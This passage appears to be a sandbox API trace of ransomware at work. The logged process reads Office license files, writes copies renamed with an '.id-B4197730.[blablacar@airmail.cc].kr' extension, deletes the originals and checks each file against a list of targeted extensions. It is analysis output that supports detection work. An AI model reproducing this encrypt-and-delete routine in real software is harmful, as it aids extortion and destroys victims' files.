(lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-pl.xrm-ms") returned 87 [0208.283] lstrlenW (lpString=".jpg") returned 4 [0208.283] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0208.284] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0208.284] lstrlenW (lpString="O365SmallBusPremR_SubTrial4-ppd.xrm-ms") returned 38 [0208.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial4-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0208.284] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=23843) returned 1 [0208.284] CloseHandle (hObject=0x410) returned 1 [0208.285] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial4-ppd.xrm-ms")) returned 0x220 [0208.285] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial4-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0208.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial4-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0208.285] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.285] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial4-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0208.286] GetLastError () returned 0x0 [0208.286] ReadFile (in: hFile=0x410, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x5d23, lpOverlapped=0x0) returned 1 [0208.288] WriteFile (in: hFile=0x370, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x5d30, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x5d30, lpOverlapped=0x0) returned 1 [0208.289] ReadFile (in: hFile=0x410, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.289] WriteFile (in: hFile=0x370, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x120, lpOverlapped=0x0) returned 1 [0208.290] SetEndOfFile (hFile=0x370) returned 1 [0208.290] CloseHandle (hObject=0x370) returned 1 [0208.290] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.290] SetEndOfFile (hFile=0x410) returned 1 [0208.293] CloseHandle (hObject=0x410) returned 1 [0208.293] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0208.293] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial4-ppd.xrm-ms")) returned 1 [0208.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-ppd.xrm-ms") returned 88 [0208.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-ppd.xrm-ms") returned 88 [0208.294] lstrlenW (lpString=".doc") returned 4 [0208.294] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0208.294] lstrlenW (lpString=".docx") returned 5 [0208.294] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0208.294] lstrlenW (lpString=".pdf") returned 4 [0208.294] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0208.294] lstrlenW (lpString=".xls") returned 4 [0208.294] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0208.294] lstrlenW (lpString=".xlsx") returned 5 [0208.294] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0208.294] lstrlenW (lpString=".ppt") returned 4 [0208.294] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0208.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-ppd.xrm-ms") returned 88 [0208.294] lstrlenW (lpString=".zip") returned 4 [0208.294] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0208.294] lstrlenW (lpString=".rar") returned 4 [0208.294] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0208.294] lstrlenW (lpString=".bz2") returned 4 [0208.294] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0208.294] lstrlenW (lpString=".7z") returned 3 [0208.294] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0208.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-ppd.xrm-ms") returned 88 [0208.295] lstrlenW (lpString=".dbf") returned 4 [0208.295] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0208.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-ppd.xrm-ms") returned 88 [0208.295] lstrlenW (lpString=".1cd") returned 4 [0208.295] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0208.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-ppd.xrm-ms") returned 88 [0208.295] lstrlenW (lpString=".jpg") returned 4 [0208.295] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0208.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-ppd.xrm-ms") returned 88 [0208.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-ppd.xrm-ms") returned 88 [0208.295] lstrlenW (lpString=".doc") returned 4 [0208.295] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0208.295] lstrlenW (lpString=".docx") returned 5 [0208.295] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0208.295] lstrlenW (lpString=".pdf") returned 4 [0208.295] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0208.295] lstrlenW (lpString=".xls") returned 4 [0208.295] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0208.295] lstrlenW (lpString=".xlsx") returned 5 [0208.295] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0208.295] lstrlenW (lpString=".ppt") returned 4 [0208.295] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0208.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-ppd.xrm-ms") returned 88 [0208.295] lstrlenW (lpString=".zip") returned 4 [0208.295] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0208.295] lstrlenW (lpString=".rar") returned 4 [0208.295] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0208.295] lstrlenW (lpString=".bz2") returned 4 [0208.295] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0208.295] lstrlenW (lpString=".7z") returned 3 [0208.295] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0208.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-ppd.xrm-ms") returned 88 [0208.296] lstrlenW (lpString=".dbf") returned 4 [0208.296] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0208.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-ppd.xrm-ms") returned 88 [0208.296] lstrlenW (lpString=".1cd") returned 4 [0208.296] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0208.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-ppd.xrm-ms") returned 88 [0208.296] lstrlenW (lpString=".jpg") returned 4 [0208.296] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0208.296] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0208.296] lstrlenW (lpString="O365SmallBusPremR_SubTrial4-ul-oob.xrm-ms") returned 41 [0208.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial4-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0208.297] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=11655) returned 1 [0208.297] CloseHandle (hObject=0x410) returned 1 [0208.297] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial4-ul-oob.xrm-ms")) returned 0x220 [0208.297] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial4-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0208.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial4-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0208.297] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.297] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.452] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial4-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0209.041] GetLastError () returned 0x0 [0209.041] ReadFile (in: hFile=0x410, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x2d87, lpOverlapped=0x0) returned 1 [0209.043] WriteFile (in: hFile=0x3ec, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x2d90, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x2d90, lpOverlapped=0x0) returned 1 [0209.044] ReadFile (in: hFile=0x410, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0209.044] WriteFile (in: hFile=0x3ec, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x126, lpOverlapped=0x0) returned 1 [0209.044] SetEndOfFile (hFile=0x3ec) returned 1 [0209.044] CloseHandle (hObject=0x3ec) returned 1 [0209.044] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.044] SetEndOfFile (hFile=0x410) returned 1 [0209.047] CloseHandle (hObject=0x410) returned 1 [0209.047] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0209.051] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial4-ul-oob.xrm-ms")) returned 1 [0209.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-ul-oob.xrm-ms") returned 91 [0209.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-ul-oob.xrm-ms") returned 91 [0209.053] lstrlenW (lpString=".doc") returned 4 [0209.053] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0209.053] lstrlenW (lpString=".docx") returned 5 [0209.053] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0209.053] lstrlenW (lpString=".pdf") returned 4 [0209.053] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0209.053] lstrlenW (lpString=".xls") returned 4 [0209.053] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0209.053] lstrlenW (lpString=".xlsx") returned 5 [0209.053] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0209.053] lstrlenW (lpString=".ppt") returned 4 [0209.053] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0209.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-ul-oob.xrm-ms") returned 91 [0209.053] lstrlenW (lpString=".zip") returned 4 [0209.053] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0209.053] lstrlenW (lpString=".rar") returned 4 [0209.053] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0209.053] lstrlenW (lpString=".bz2") returned 4 [0209.053] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0209.053] lstrlenW (lpString=".7z") returned 3 [0209.053] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0209.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-ul-oob.xrm-ms") returned 91 [0209.053] lstrlenW (lpString=".dbf") returned 4 [0209.053] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0209.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-ul-oob.xrm-ms") returned 91 [0209.053] lstrlenW (lpString=".1cd") returned 4 [0209.053] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0209.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-ul-oob.xrm-ms") returned 91 [0209.053] lstrlenW (lpString=".jpg") returned 4 [0209.053] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0209.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-ul-oob.xrm-ms") returned 91 [0209.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-ul-oob.xrm-ms") returned 91 [0209.054] lstrlenW (lpString=".doc") returned 4 [0209.054] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0209.054] lstrlenW (lpString=".docx") returned 5 [0209.054] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0209.054] lstrlenW (lpString=".pdf") returned 4 [0209.054] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0209.054] lstrlenW (lpString=".xls") returned 4 [0209.054] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0209.054] lstrlenW (lpString=".xlsx") returned 5 [0209.054] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0209.054] lstrlenW (lpString=".ppt") returned 4 [0209.054] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0209.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-ul-oob.xrm-ms") returned 91 [0209.054] lstrlenW (lpString=".zip") returned 4 [0209.054] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0209.054] lstrlenW (lpString=".rar") returned 4 [0209.054] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0209.054] lstrlenW (lpString=".bz2") returned 4 [0209.054] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0209.054] lstrlenW (lpString=".7z") returned 3 [0209.054] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0209.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-ul-oob.xrm-ms") returned 91 [0209.054] lstrlenW (lpString=".dbf") returned 4 [0209.054] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0209.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-ul-oob.xrm-ms") returned 91 [0209.054] lstrlenW (lpString=".1cd") returned 4 [0209.054] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0209.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-ul-oob.xrm-ms") returned 91 [0209.054] lstrlenW (lpString=".jpg") returned 4 [0209.054] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0209.056] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0209.056] lstrlenW (lpString="O365SmallBusPremR_SubTrial5-ppd.xrm-ms") returned 38 [0209.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial5-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0209.057] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=23843) returned 1 [0209.057] CloseHandle (hObject=0x410) returned 1 [0209.057] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial5-ppd.xrm-ms")) returned 0x220 [0209.057] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial5-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0209.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial5-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0209.057] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.057] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial5-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0209.058] GetLastError () returned 0x0 [0209.058] ReadFile (in: hFile=0x410, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x5d23, lpOverlapped=0x0) returned 1 [0209.061] WriteFile (in: hFile=0x3ec, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x5d30, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x5d30, lpOverlapped=0x0) returned 1 [0209.062] ReadFile (in: hFile=0x410, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0209.062] WriteFile (in: hFile=0x3ec, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x120, lpOverlapped=0x0) returned 1 [0209.062] SetEndOfFile (hFile=0x3ec) returned 1 [0209.062] CloseHandle (hObject=0x3ec) returned 1 [0209.062] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.063] SetEndOfFile (hFile=0x410) returned 1 [0209.066] CloseHandle (hObject=0x410) returned 1 [0209.066] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0209.066] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial5-ppd.xrm-ms")) returned 1 [0209.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-ppd.xrm-ms") returned 88 [0209.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-ppd.xrm-ms") returned 88 [0209.067] lstrlenW (lpString=".doc") returned 4 [0209.067] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0209.067] lstrlenW (lpString=".docx") returned 5 [0209.067] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0209.067] lstrlenW (lpString=".pdf") returned 4 [0209.068] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0209.068] lstrlenW (lpString=".xls") returned 4 [0209.068] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0209.068] lstrlenW (lpString=".xlsx") returned 5 [0209.068] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0209.068] lstrlenW (lpString=".ppt") returned 4 [0209.068] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0209.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-ppd.xrm-ms") returned 88 [0209.068] lstrlenW (lpString=".zip") returned 4 [0209.068] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0209.068] lstrlenW (lpString=".rar") returned 4 [0209.068] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0209.068] lstrlenW (lpString=".bz2") returned 4 [0209.068] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0209.068] lstrlenW (lpString=".7z") returned 3 [0209.068] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0209.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-ppd.xrm-ms") returned 88 [0209.068] lstrlenW (lpString=".dbf") returned 4 [0209.068] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0209.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-ppd.xrm-ms") returned 88 [0209.068] lstrlenW (lpString=".1cd") returned 4 [0209.068] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0209.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-ppd.xrm-ms") returned 88 [0209.068] lstrlenW (lpString=".jpg") returned 4 [0209.068] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0209.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-ppd.xrm-ms") returned 88 [0209.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-ppd.xrm-ms") returned 88 [0209.068] lstrlenW (lpString=".doc") returned 4 [0209.068] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0209.068] lstrlenW (lpString=".docx") returned 5 [0209.068] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0209.068] lstrlenW (lpString=".pdf") returned 4 [0209.068] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0209.069] lstrlenW (lpString=".xls") returned 4 [0209.069] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0209.069] lstrlenW (lpString=".xlsx") returned 5 [0209.069] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0209.069] lstrlenW (lpString=".ppt") returned 4 [0209.069] lstrcmpiW (lpString1=".ppt", 